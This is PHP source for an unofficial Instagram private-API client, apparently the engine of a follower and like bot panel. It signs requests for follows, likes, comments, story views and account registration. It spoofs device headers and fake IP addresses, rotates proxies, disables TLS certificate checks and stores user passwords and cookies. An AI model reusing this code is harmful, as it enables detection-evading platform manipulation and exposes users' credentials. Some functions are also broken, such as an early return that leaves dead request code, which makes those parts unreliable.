        public function comment($commentText, $userID, $csrf) {
            $requestPosts = [
                'user_breadcrumb'   => Utils::generateUserBreadcrumb(mb_strlen($commentText)),
                'idempotence_token' => Signatures::generateUUID(TRUE),
                '_uuid'             => $userID,
                '_uid'              => $userID,
                '_csrftoken'        => $csrf,
                'comment_text'      => $commentText,
                'containermodule'   => 'comments_feed_timeline',
                'radio_type'        => 'wifi-none'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }


        public function deleteComment($mediaId, $commentId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/comment/$commentId/delete/", $postData)[1];
        }

        public function changeProfilePicture($photo) {
            if(is_null($photo)) {
                echo "Photo not valid

";

                return;
            }


            $fileToUpload = file_get_contents($photo);

            $requestPosts = [
                '_csrftoken' => $this->token,
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id
            ];
            $requestPosts = Signatures::signData($requestPosts);

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'profile_pic.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];
            $boundary     = Utils::generateMultipartBoundary();

            $index  = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }
            $result   .= '--' . $boundary . '--';
            $postData = $result;

            $endpoint = Constants::API_URL . 'accounts/change_profile_picture/';

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];
            $ch      = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }
            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE, 512, JSON_BIGINT_AS_STRING);
            $this->organizeCookies($header);

            curl_close($ch);

            return $upload;
        }


        public function removeProfilePicture() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/remove_profile_picture/', $postData)[1];
        }


        public function setPrivateAccount() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_private/', $postData)[1];
        }


        public function setPublicAccount() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_public/', $postData)[1];
        }


        public function getCurrentUser() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/current_user/?edit=true', $postData)[1];
        }


        public function editProfile($url, $phone, $first_name, $biography, $email, $gender) {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                '_csrftoken'   => $this->token,
                'external_url' => $url,
                'phone_number' => $phone,
                'username'     => $this->username,
                'first_name'   => $first_name,
                'biography'    => $biography,
                'email'        => $email,
                'gender'       => $gender,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/edit_profile/', $postData)[1];
        }


        public function getRecentActivity($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            $activity = $this->request('news/inbox/' . (!empty($paramData) ? '?' . $paramData : ''))[1];


            if($activity['status'] != 'ok') {
                throw new Exception($activity['message'] . "
");

                return;
            }

            return $activity;
        }

        public function getFollowingRecentActivity($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            $activity = $this->request('news/' . (!empty($paramData) ? '?' . $paramData : ''))[1];

            if($activity['status'] != 'ok') {
                throw new Exception($activity['message'] . "
");

                return;
            }

            return $activity;
        }


        public function getV2Inbox() {
            $inbox = $this->request('direct_v2/inbox/')[1];

            if($inbox['status'] != 'ok') {
                throw new Exception($inbox['message'] . "
");

                return;
            }

            return $inbox;
        }


        public function directThread($threadId) {
            $directThread = $this->request("direct_v2/threads/$threadId/")[1];

            if($directThread['status'] != 'ok') {
                throw new Exception($directThread['message'] . "
");

                return;
            }

            return $directThread;
        }


        public function getUserTags($usernameId, $maxid = NULL) {
            $requestParams = [
                "rank_token"     => $this->rank_token,
                "ranked_content" => "true"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $tags = $this->request("usertags/$usernameId/feed/?" . $paramData)[1];

            if($tags['status'] != 'ok') {
                throw new Exception($tags['message'] . "
");

                return;
            }

            return $tags;
        }


        public function getSelfUserTags($maxid = NULL) {
            return $this->getUserTags($this->account_id, $maxid);
        }


        public function tagFeed($tag, $maxid = NULL) {
            $requestParams = [
                "rank_token"     => $this->rank_token,
                "ranked_content" => "true"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $userFeed = $this->request("feed/tag/$tag/?" . $paramData)[1];

            if($userFeed['status'] != 'ok') {
                throw new Exception($userFeed['message'] . "
");

                return;
            }

            return $userFeed;
        }

        public function getMediaLikers($mediaId) {
            $likers = $this->request("media/$mediaId/likers/")[1];
            if($likers['status'] != 'ok') {
                throw new Exception($likers['message'] . "
");

                return;
            }

            return $likers;
        }


        public function getGeoMedia($usernameId) {
            $locations = $this->request("maps/user/$usernameId/")[1];

            if($locations['status'] != 'ok') {
                throw new Exception($locations['message'] . "
");

                return;
            }

            return $locations;
        }


        public function getSelfGeoMedia() {
            return $this->getGeoMedia($this->account_id);
        }


        public function searchUsers($query) {
            $query         = rawurlencode($query);
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "is_typeahead"       => "true",
                "query"              => $query,
                "rank_token"         => $this->rank_token
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));


            $query = $this->request('users/search/?' . $paramData)[1];

            if($query['status'] != 'ok') {
                throw new Exception($query['message'] . "
");

                return;
            }

            return $query;
        }

        public function getUserInfoByName($username) {
            $query = $this->request("users/$username/usernameinfo/")[1];

            return $query;
        }

        public function getliveInfoByName($broadcast) {
            $query = $this->request("feed/user/$broadcast/story/")[1];

            return $query;
        }

        public function getUserInfoById($userId) {
            return $this->request("users/$userId/info/")[1];
        }

        public function getSelfUserInfo() {
            return $this->getUserInfoById($this->account_id);
        }

        public function searchTags($query) {
            $query         = rawurlencode($query);
            $requestParams = [
                "is_typeahead" => "true",
                "q"            => $query,
                "rank_token"   => $this->rank_token
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            $query = $this->request("tags/search/?" . $paramData)[1];

            if($query['status'] != 'ok') {
                throw new Exception($query['message'] . "
");

                return;
            }

            return $query;
        }


        public function getTimelineFeed($maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            $timeline = $this->request("feed/timeline/?" . $paramData)[1];

            if($timeline['status'] != 'ok') {
                throw new Exception($timeline['message'] . "
");

                return;
            }

            return $timeline;
        }


        public function getReelsTrayFeed() {
            $feed = $this->request('feed/reels_tray/')[1];

            if($feed["status"] != "ok") {
                throw new Exception($feed["message"] . "
");

                return;
            }

            return $feed;
        }


        public function getUserFeed() {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            return $paramData;

            $userFeed = $this->request("feed/user/$usernameId/?" . $paramData)[1];

            return $userFeed;
        }

        function storyview($items, $userID, $csrf) {
            $reels     = [];
            $maxSeenAt = time();
            $seenAt    = $maxSeenAt - (3 * count($items));
            foreach($items as $item) {

                $itemTakenAt = $item["getTakenAt"];
                if($seenAt < $itemTakenAt) {
                    $seenAt = $itemTakenAt + 2;
                }

                if($seenAt > $maxSeenAt) {
                    $seenAt = $maxSeenAt;
                }

                // Key Format: "mediaPk_userPk_sourceId".
                // NOTE: In case of seeing stories on a user's profile, their
                // userPk is used as the sourceId, as "mediaPk_userPk_userPk".
                $reelId         = $item["itemID"] . '_' . $item["userPK"];
                $reels[$reelId] = [$itemTakenAt . '_' . $seenAt];
                $seenAt         += rand(1, 3);
            }
            /**
             * @var Instagram $objInstagram
             */

            $requestPosts = [
                '_uuid'      => $userID,
                '_uid'       => $userID,
                '_csrftoken' => $csrf,
                'reels'      => $reels,
                'live_vods'  => [],
                'reel'       => 1,
                'live_vod'   => 0
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }

        public function hikayecek($usernameId) {

            $feed = $this->request("feed/user/$usernameId/story/")[1];


            if($feed["status"] != "ok") {
                throw new Exception($feed["message"] . "
");

            }

            return $feed;

        }

        public function getHashtagFeed($hashtagString, $maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $hashtagFeed = $this->request("feed/tag/" . $hashtagString . "/?" . $paramData)[1];

            if($hashtagFeed['status'] != 'ok') {
                throw new Exception($hashtagFeed['message'] . "
");

                return;
            }

            return $hashtagFeed;
        }

        public function searchLocation($query) {
            $query = rawurlencode($query);

            $requestParams = [
                "query"      => $query,
                "rank_token" => $this->rank_token
            ];

            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $locationFeed = $this->request("fbsearch/places/?" . $paramData)[1];

            if($locationFeed['status'] != 'ok') {
                throw new Exception($locationFeed['message'] . "
");

                return;
            }

            return $locationFeed;
        }


        public function getLocationFeed($locationId, $maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $locationFeed = $this->request("feed/location/" . $locationId . "/?" . $paramData)[1];

            if($locationFeed['status'] != 'ok') {
                throw new Exception($locationFeed['message'] . "
");

                return;
            }

            return $locationFeed;
        }


        public function getSelfUserFeed($maxid = NULL, $minTimestamp = NULL) {
            return $this->getUserFeed($this->account_id, $maxid, $minTimestamp);
        }


        public function getRankedRecipients() {
            $requestParams = [
                "show_threads" => "true"
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));


            $ranked_recipients = $this->request('direct_v2/ranked_recipients/?' . $paramData)[1];

            if($ranked_recipients["status"] != "ok") {
                throw new Exception($ranked_recipients["message"] . "
");

                return;
            }

            return $ranked_recipients;
        }


        public function getRecentRecipients() {
            $recent_recipients = $this->request('direct_share/recent_recipients/')[1];

            if($recent_recipients["status"] != "ok") {
                throw new Exception($recent_recipients["message"] . "
");

                return;
            }

            return $recent_recipients;
        }


        public function getExplore() {
            $explore = $this->request('discover/explore/')[1];

            if($explore['status'] != 'ok') {
                throw new Exception($explore['message'] . "
");

                return;
            }

            return $explore;
        }


        public function getPopularFeed($maxid = NULL) {
            $requestParams = [
                "ranked_content"          => "true",
                "rank_token"              => $this->rank_token,
                "people_teaser_supported" => "1"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            $popularFeed = $this->request("feed/popular/?" . $paramData)[1];

            if($popularFeed['status'] != 'ok') {
                throw new Exception($popularFeed['message'] . "
");

                return;
            }

            return $popularFeed;
        }

        public function getUserFollowings($usernameId, $maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            return $this->request("friendships/$usernameId/following/?" . $paramData)[1];
        }


        public function getUserFollowers($usernameId, $maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request("friendships/$usernameId/followers/?" . $paramData)[1];
        }

        public function getSelfUserFollowers($maxid = NULL) {
            return $this->getUserFollowers($this->account_id, $maxid);
        }


        public function getSelfUsersFollowing($maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request("friendships/following/?" . $paramData)[1];
        }


        public function like($userID, $csrf, $mediaId) {
            $requestPosts = [
                '_uuid'      => $userID,
                '_uid'       => $userID,
                '_csrftoken' => $csrf,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }


        public function register($adsoyad, $username, $password, $email, $csrftoken, $deviceID) {

            $guid = Signatures::generateUUID(TRUE);

            $requestPosts = [
                'allow_contacts_sync' => 'false',
                'phone_id'            => $guid,
                '_csrftoken'          => $csrftoken,
                'username'            => $username,
                'first_name'          => $adsoyad,
                'guid'                => $guid,
                'device_id'           => $deviceID,
                'email'               => $email,
                'force_sign_up_code'  => '',
                'waterfall_id'        => Signatures::generateUUID(TRUE),
                'qs_stamp'            => '',
                'password'            => $password,
            ];

            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }

        public function unlike($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/unlike/", $postData)[1];
        }


        public function getMediaComments($mediaId) {
            return $this->request("media/$mediaId/comments/")[1];
        }


        public function setNameAndPhone($name = '', $phone = '') {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                'first_name'   => $name,
                'phone_number' => $phone,
                '_csrftoken'   => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_phone_and_name/', $postData)[1];
        }


        public function getDirectShare() {
            return $this->request('direct_share/inbox/')[1];
        }


        public function follow($userId, $myuserid, $csrf) {
            $requestPosts = [
                '_uuid'      => $myuserid,
                '_uid'       => $myuserid,
                '_csrftoken' => $csrf,
                'user_id'    => $userId,
                'radio_type' => 'wifi-none'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $postData;
        }

        public function unfollow($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'user_id'    => $userId,
                'radio_type' => 'wifi-none'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/destroy/$userId/", $postData)[1];
        }


        public function block($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/block/$userId/", $postData)[1];
        }


        public function unblock($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/unblock/$userId/", $postData)[1];
        }


        public function userFriendship($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/show/$userId/", $postData)[1];
        }


        public function getLikedMedia($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            return $this->request('feed/liked/' . (!empty($paramData) ? '?' . $paramData : ''))[1];
        }


        function request($endpoint, $post = NULL, $login = FALSE) {

            if(!$this->isLoggedIn && !$login) {
                throw new Exception("Not logged in
");

                return;
            }

            $headers = array();
            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_URL, Constants::API_URL . $endpoint);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            if($post) {
                curl_setopt($ch, CURLOPT_POST, TRUE);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $body       = substr($resp, $header_len);
            $this->organizeCookies($header);

            curl_close($ch);

            return [
                $header,
                json_decode($body, TRUE, 512, JSON_BIGINT_AS_STRING)
            ];
        }

        public function isValid() {
            try {
                $mIn = $this->getMediaInfo("1398536837854079172_4217327253");

                return $mIn["status"] == "ok" ? TRUE : FALSE;
            } catch(Exception $e) {
                return FALSE;
            }
        }


        public function isLoggedIn() {
            return $this->isLoggedIn;
        }

        public function organizeCookies($headers) {
            preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
            $cookies = [];
            foreach($matches[1] as $item) {
                parse_str($item, $cookie);
                $cookies = array_merge($cookies, $cookie);
            }
            if(!empty($cookies)) {
                $oldCookies    = $this->settings->get('cookie');
                $arrOldCookies = [];
                if(!empty($oldCookies)) {
                    $parseCookies = explode(";", $oldCookies);
                    foreach($parseCookies as $c) {
                        parse_str($c, $ck);
                        $arrOldCookies = array_merge($arrOldCookies, $ck);
                    }
                }
                $newCookies = array_merge($arrOldCookies, $cookies);
                $cookie_all = [];
                foreach($newCookies as $k => $v) {
                    $cookie_all[] = $k . "=" . urlencode($v);
                    if($k == 'csrftoken') {
                        $this->token = $v;
                        $this->settings->set("token", $v);
                    }
                }
                $this->settings->set("cookie", implode(";", $cookie_all));
                $this->settings->save();
            }
        }

    }

    class Instagram {
        protected $username;
        protected $password;
        /**
         * @var Device
         */
        protected $device;
        public    $account_id;          // User PK
        public    $uuid;                // UUID
        protected $adid;                // Google Ad ID
        protected $phone_id;            // Phone ID
        protected $device_id;           // Device ID
        protected $checkpoint_id;           // Checkpoint ID
        /**
         * @var Settings
         */
        public    $settings;
        public    $token;               // _csrftoken
        protected $isLoggedIn = FALSE;  // Session status
        protected $rank_token;          // Rank token
        protected $IGDataPath;          // Data storage path


        public function __construct($username, $password, $account_id = NULL, $forceUserIP = FALSE) {
            $username = trim($username);
            $password = trim($password);
            if($account_id === NULL) {
                try {
                    $userData = file_get_contents("https://www.instagram.com/" . $username . "/?__a=1");
                } catch(Exception $e) {
                    $userData = "";
                }
                $userData = json_decode($userData, TRUE);
                if(!is_array($userData) || !isset($userData["user"]["id"])) {
                    throw new Exception("Invalid username!");
                }
                $account_id = $userData["user"]["id"];
            }
            $this->setUser($username, $password, $account_id, $forceUserIP);

        }


        public function setUser($username, $password, $account_id, $forceUserIP = FALSE) {
            $this->username   = $username;
            $this->password   = $password;
            $this->account_id = $account_id;
            $this->IGDataPath = Wow::get("project/cookiePath") . "instagramv3/" . substr($this->account_id, -1) . "/";
            $this->settings   = new Settings($this->IGDataPath . $account_id . '.iwb');
            $this->checkSettings($forceUserIP);
            $this->uuid       = $this->settings->get('uuid');
            $this->adid       = $this->settings->get('adid');
            $this->rank_token = $this->account_id . '_' . $this->uuid;
            $this->phone_id   = $this->settings->get('phone_id');
            $this->device_id  = $this->settings->get('device_id');
            if($this->settings->get('token') != NULL) {
                $this->isLoggedIn = TRUE;
                $this->token      = $this->settings->get('token');
            } else {
                $this->isLoggedIn = FALSE;
            }
        }

        protected function checkSettings($forceUserIP = FALSE) {
            $settingsCompare = $this->settings->get("sets");

            $savedDeviceString = $this->settings->get('devicestring');
            $this->device      = new Device(Constants::IG_VERSION, Constants::USER_AGENT_LOCALE, $savedDeviceString);
            $deviceString      = $this->device->getDeviceString();
            if($deviceString !== $savedDeviceString) {
                $this->settings->set('devicestring', $deviceString);
            }
            if($this->settings->get('uuid') == NULL) {
                $this->settings->set('uuid', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('adid') == NULL) {
                $this->settings->set('adid', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('phone_id') == NULL) {
                $this->settings->set('phone_id', Signatures::generateUUID(TRUE));
            }
            if($this->settings->get('device_id') == NULL) {
                $this->settings->set('device_id', Signatures::generateDeviceId(md5($this->account_id)));
            }
            if($this->settings->get('ip') == NULL || $forceUserIP) {
                $ipAdress = '78.' . rand(160, 191) . '.' . rand(1, 255) . '.' . rand(1, 255);
                if($forceUserIP && !empty($_SERVER["REMOTE_ADDR"])) {
                    $ipAdress = $_SERVER["REMOTE_ADDR"];
                }
                $this->settings->set('ip', $ipAdress);
            }
            if($this->settings->get('username_id') == NULL) {
                $this->settings->set('username_id', $this->account_id);
            }
            if(INSTAWEB_MAX_ASNS > 0) {
                if($this->settings->get(INSTAWEB_ASNS_KEY) == NULL || intval($this->settings->get(INSTAWEB_ASNS_KEY)) > INSTAWEB_MAX_ASNS) {
                    $this->settings->set(INSTAWEB_ASNS_KEY, rand(1, INSTAWEB_MAX_ASNS));
                }
            }
            if($settingsCompare !== $this->settings->get("sets")) {
                $this->settings->save();
            }
        }

        function getData() {
            return array(
                "username"        => $this->username,
                "password"        => $this->password,
                "username_id"     => $this->account_id,
                "uuid"            => $this->uuid,
                "token"           => $this->token,
                "rank_token"      => $this->rank_token,
                "user_agent"      => $this->device->getUserAgent(),
                "ip"              => $this->settings->get('ip'),
                "cookie"          => $this->settings->get('cookie'),
                INSTAWEB_ASNS_KEY => $this->settings->get(INSTAWEB_ASNS_KEY)
            );
        }


        public function twoFactorLogin($verificationCode, $twoFactorIdentifier) {
            $verificationCode = trim(str_replace(' ', '', $verificationCode));
            $requestPosts     = [
                'verification_code'     => $verificationCode,
                'two_factor_identifier' => $twoFactorIdentifier,
                '_csrftoken'            => $this->token,
                'username'              => $this->username,
                'device_id'             => $this->device_id,
                'password'              => $this->password
            ];
            $requestPosts     = Signatures::signData($requestPosts);
            $postData         = http_build_query(Utils::reorderByHashCode($requestPosts));
            $login            = $this->request('accounts/two_factor_login/', $postData, FALSE);

            if($login[1]['status'] == 'fail') {
                throw new Exception($login[1]['message']);
            }

            $this->isLoggedIn = TRUE;
            $this->settings->set('last_login', time());
            $this->settings->save();

            return $login[1];
        }


        public function kodgonder($choice, $apipath) {

            $requestPosts = [
                'choice'     => $choice,
                '_csrftoken' => $this->token,
                'guid'       => $this->uuid,
                'device_id'  => $this->device_id
            ];

            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $send_code = $this->request("https://i.instagram.com/api/v1" . $apipath, $postData, FALSE, TRUE);

            return $send_code[1];
        }


        public function kodonayla($code, $apipath) {

            $requestPosts = [
                'security_code' => $code,
                '_csrftoken'    => $this->token,
                'guid'          => $this->uuid,
                'device_id'     => $this->device_id
            ];


            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $okey_choice = $this->request("https://i.instagram.com/api/v1" . $apipath, $postData, FALSE, TRUE);

            return $okey_choice[1];
        }


        /**
         * @param bool $force
         *
         * @return array
         * @throws Exception
         */
        public function login($force = FALSE) {
            if(!$this->isLoggedIn || $force) {

                $requestPosts = [
                    'phone_id'            => $this->phone_id,
                    '_csrftoken'          => $this->token,
                    'username'            => $this->username,
                    'adid'                => $this->adid,
                    'guid'                => $this->uuid,
                    'device_id'           => $this->device_id,
